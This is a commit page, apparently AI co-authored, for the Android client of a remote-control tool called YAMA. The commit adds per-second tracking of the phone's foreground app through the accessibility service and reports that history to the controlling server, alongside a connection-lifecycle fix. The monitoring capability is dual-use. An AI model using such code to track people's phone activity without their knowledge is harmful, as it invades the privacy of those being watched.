Feature: Add activity history to the Android client

get_activity_history was gated to Windows and Linux. The Android client
now answers COMMAND_QUERY_ACTIVITY with a TOKEN_REPORT_ACTIVITY snapshot
on the main connection, the same RPC shape as the other platforms; the
server takes the first packet without CancelIO, so no sub-connection or
request correlation is involved.

The sampler reuses linux/LinuxActivityHistory.h, whose ActivityHistory
class and formatters are platform-neutral, and is fed by a probe that
asks the new ControlService.currentActivityTitle() once per second over
JNI. The accessibility service already tracks the foreground package
from TYPE_WINDOW_STATE_CHANGED; the title is "label (package)" with the
label resolved once and cached, "Home" for the launcher, and idle for
lock or screen-off, so no permission beyond the service users already
enable is needed. Without the service the report says so instead of
recording placeholder "Android" entries.

Also scope the connection teardown to its own generation: a
ConnectionThread that exits late (CaptureService restart) no longer
clears the new run's g_running or g_pMainClient, and the report thread
takes one local snapshot of the main client pointer.

Verified on the emulator against a local debug server: five records
(Settings, Chrome, launcher, Home) came back newest-first with dwell
times, and disabling accessibility produced the permission hint.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-11-11 13:14:46 +01:00
1 parent d365a4f948
commit 5ed1a07dc4
4 files changed
+158 -9

No files matched your search

+119 -5
View File
@@ -28,6 +28,10 @@
#include "common/xxhash.h"
#include "common/logger.h"
#include "common/ClientLogHandler.h"
// 历史活动:复用 Linux 端的采样机。linux/LinuxActivityHistory.h 里的 ActivityHistory
// 类与格式化函数都是平台无关的(X11 采样在 linux/main.cpp,不在头文件里),Android
// 只需注入自己的 probe(JNI 问 ControlService 要前台应用)。
#include "linux/LinuxActivityHistory.h"
#define LOG_TAG "YAMA"
// LOGI/LOGE 走 android_log_tag(logger.h):既进 logcat,也进 Logger 的内存 ring,
@@ -214,6 +218,7 @@ static JavaVM* g_jvm = nullptr;
static jclass g_ctrlClass = nullptr;
static jmethodID g_ctrlMethod = nullptr;
static jmethodID g_getActiveWindowMid = nullptr;
static jmethodID g_activityTitleMid = nullptr; // ControlService.currentActivityTitle()
// CaptureService.requestIdr() / forceFirstFrame() — ScreenSpyThread 子连接建立后触发
static jclass g_captureClass = nullptr;
static jmethodID g_requestIdrMid = nullptr;
@@ -278,6 +283,53 @@ static std::string GetActiveWindowFromJava()
return result;
}
// ---- 历史活动采样 ----
// ControlService.currentActivityTitle():null = 无障碍服务没启用(或 JNI 未就绪),
// "Locked" = 锁屏/息屏,其余是「应用名 (包名)」或桌面。
static bool GetActivityTitleFromJava(std::string& out)
{
out.clear();
if (!g_jvm || !g_ctrlClass || !g_activityTitleMid) return false;
JNIEnv* jenv = nullptr;
bool attached = false;
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
if (st == JNI_EDETACHED) {
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return false;
attached = true;
} else if (st != JNI_OK || !jenv) {
return false;
}
jstring js = (jstring)jenv->CallStaticObjectMethod(g_ctrlClass, g_activityTitleMid);
bool ok = false;
if (js) {
if (!jenv->ExceptionCheck()) {
const char* c = jenv->GetStringUTFChars(js, nullptr);
if (c) { out = c; jenv->ReleaseStringUTFChars(js, c); ok = true; }
}
jenv->DeleteLocalRef(js);
}
if (jenv->ExceptionCheck()) jenv->ExceptionClear();
if (attached) g_jvm->DetachCurrentThread();
return ok;
}
// 最近一次成功问到前台应用的时间:决定「历史活动」空报告里给的是权限提示还是
// 「暂无记录」。用时间而不是布尔:无障碍服务被关掉后要能重新给出权限提示。
static std::atomic<uint64_t> g_lastActivityProbeOkMs{0};
// ActivityHistory 采样线程每秒调一次;winId=0 表示空闲(锁屏、服务未启用、取不到标题)。
static LinuxActivity::ProbeResult ProbeActivityFromJava()
{
LinuxActivity::ProbeResult r;
std::string title;
if (!GetActivityTitleFromJava(title)) return r;
g_lastActivityProbeOkMs.store(GetUnixMs(), std::memory_order_relaxed);
if (title.empty() || title == "Locked") return r;
r.winId = (unsigned long)XXH64(title.data(), title.size(), 0);
r.title = std::move(title);
return r;
}
// 服务器连接参数
static std::string g_serverIp;
static int g_serverPort = 443;
@@ -515,6 +567,37 @@ static void ClientLogThread()
LOGI("ClientLogThread exit");
}
// ------------------------------------------------------------------ 历史活动上报
// 主连接一次性快照(与 Windows/Linux 一致,服务端 TOKEN_REPORT_ACTIVITY 分支不 CancelIO)。
// 采样机每秒问一次 ControlService 的前台应用;这里只取 Dump(),几十微秒的活。
// 同一时刻只跑一份:服务端每主机单飞行,连点也只是重复请求。
static std::atomic<int> g_activityReportsInFlight(0);
static void ActivityReportThread()
{
const uint64_t lastOk = g_lastActivityProbeOkMs.load(std::memory_order_relaxed);
const bool svcOn = lastOk != 0 && GetUnixMs() - lastOk < 5000; // 采样线程每秒跑一次
std::string text = LinuxActivity::ActivityHistory::Instance().Dump();
if (text.empty()) {
text = svcOn
? std::string(u8"[来源] 前台应用活动:暂无记录(没有停留超过 5 秒的前台应用)\n")
: std::string(u8"[来源] 需要开启无障碍服务(设置 → 无障碍 → YAMA)才能采集前台应用\n");
}
std::vector<BYTE> pkt(1 + text.size());
pkt[0] = TOKEN_REPORT_ACTIVITY;
memcpy(pkt.data() + 1, text.data(), text.size());
// 指针只取一次快照(与 sendClientMsg 同一套路):主连接随时可能被 ConnectionThread
// 收掉,反复解引用全局指针等于多一次悬空窗口
IOCPClient* mc = g_pMainClient;
bool sent = false;
if (mc && mc->IsConnected() && g_bExit == S_CLIENT_NORMAL)
sent = mc->Send2Server((char*)pkt.data(), (ULONG)pkt.size()) != FALSE;
LOGI("[Activity] report %zu bytes (%s)%s", text.size(), svcOn ? "foreground" : "no-accessibility",
sent ? "" : " FAILED");
g_activityReportsInFlight.fetch_sub(1, std::memory_order_relaxed);
}
// ------------------------------------------------------------------ 在线升级
// 载荷布局:[COMMAND_UPDATE:1][APK 大小:8 LE][APK:size][xxh64:8 LE]
// 校验通过后写到 filesDir/update.apk,交给 Kotlin 的 PackageInstaller 会话去装
@@ -752,6 +835,22 @@ int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength)
std::thread(ClientLogThread).detach();
break;
case COMMAND_QUERY_ACTIVITY:
// MCP get_activity_history / 主控「历史活动」窗口:主连接回一次快照
if (g_activityReportsInFlight.fetch_add(1) >= 1) {
g_activityReportsInFlight.fetch_sub(1); // 已有报表在飞,重复请求丢弃
break;
}
LOGI("cmd: COMMAND_QUERY_ACTIVITY → main conn snapshot");
try {
std::thread(ActivityReportThread).detach();
} catch (const std::exception& e) {
// 线程起不来要把在途计数还回去,否则之后的历史活动请求全被当成「忙」丢掉
g_activityReportsInFlight.fetch_sub(1);
LOGE("Activity report thread failed: %s", e.what());
}
break;
case COMMAND_SHELL:
LOGI("COMMAND_SHELL (not implemented)");
break;
@@ -808,7 +907,12 @@ int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength)
// CLOCK_MONOTONIC,不受系统时间调整影响;库加载即开始计时。
static const auto g_processStartMono = std::chrono::steady_clock::now();
static void ConnectionThread()
// 每轮 nativeInit 生成一个代号:旧连接线程可能晚于新一轮才走到收尾代码,
// 只有当前代号的主线程才能清 g_running / g_pMainClient,否则会把新一轮连接
// 的状态清掉(服务重启 CaptureService 时真会撞上)。
static std::atomic<uint64_t> g_connGeneration{0};
static void ConnectionThread(uint64_t gen)
{
LOGI("ConnectionThread → %s:%d", g_serverIp.c_str(), g_serverPort);
@@ -976,9 +1080,12 @@ static void ConnectionThread()
std::this_thread::sleep_for(std::chrono::seconds(2));
}
g_running.store(false);
g_pMainClient = nullptr; // client 马上析构,别让别的线程拿到悬空指针
LOGI("ConnectionThread exit");
if (g_connGeneration.load(std::memory_order_acquire) == gen) {
g_running.store(false);
// client 马上析构,别让别的线程拿到悬空指针;只清自己的那一个
if (g_pMainClient == client.get()) g_pMainClient = nullptr;
}
LOGI("ConnectionThread exit (gen=%" PRIu64 ")", gen);
if (g_bExit == S_CLIENT_EXIT && g_jvm && g_captureClass && g_nativeExitMid) {
JNIEnv* jenv = nullptr;
@@ -1053,6 +1160,9 @@ Java_com_yama_client_YamaBridge_nativeInit(
g_getActiveWindowMid = env->GetStaticMethodID(g_ctrlClass, "getActiveWindow", "()Ljava/lang/String;");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_getActiveWindowMid = nullptr; }
if (!g_getActiveWindowMid) LOGE("ControlService.getActiveWindow not found");
g_activityTitleMid = env->GetStaticMethodID(g_ctrlClass, "currentActivityTitle", "()Ljava/lang/String;");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_activityTitleMid = nullptr; }
if (!g_activityTitleMid) LOGE("ControlService.currentActivityTitle not found");
} else {
LOGE("ControlService class not found");
}
@@ -1085,8 +1195,12 @@ Java_com_yama_client_YamaBridge_nativeInit(
}
g_bExit = S_CLIENT_NORMAL;
// 历史活动采样:每秒问一次前台应用。Start 幂等(服务重启 nativeStop→nativeInit
// 不会重复起线程);采样与连接无关,断线期间照样记,随进程一起结束。
LinuxActivity::ActivityHistory::Instance().Start(ProbeActivityFromJava);
// g_running 已在 CAS 中设为 true,不重复 store
std::thread(ConnectionThread).detach();
const uint64_t gen = g_connGeneration.fetch_add(1, std::memory_order_acq_rel) + 1;
std::thread(ConnectionThread, gen).detach();
LOGI("nativeInit OK server=%s:%d", g_serverIp.c_str(), g_serverPort);
return 0;
}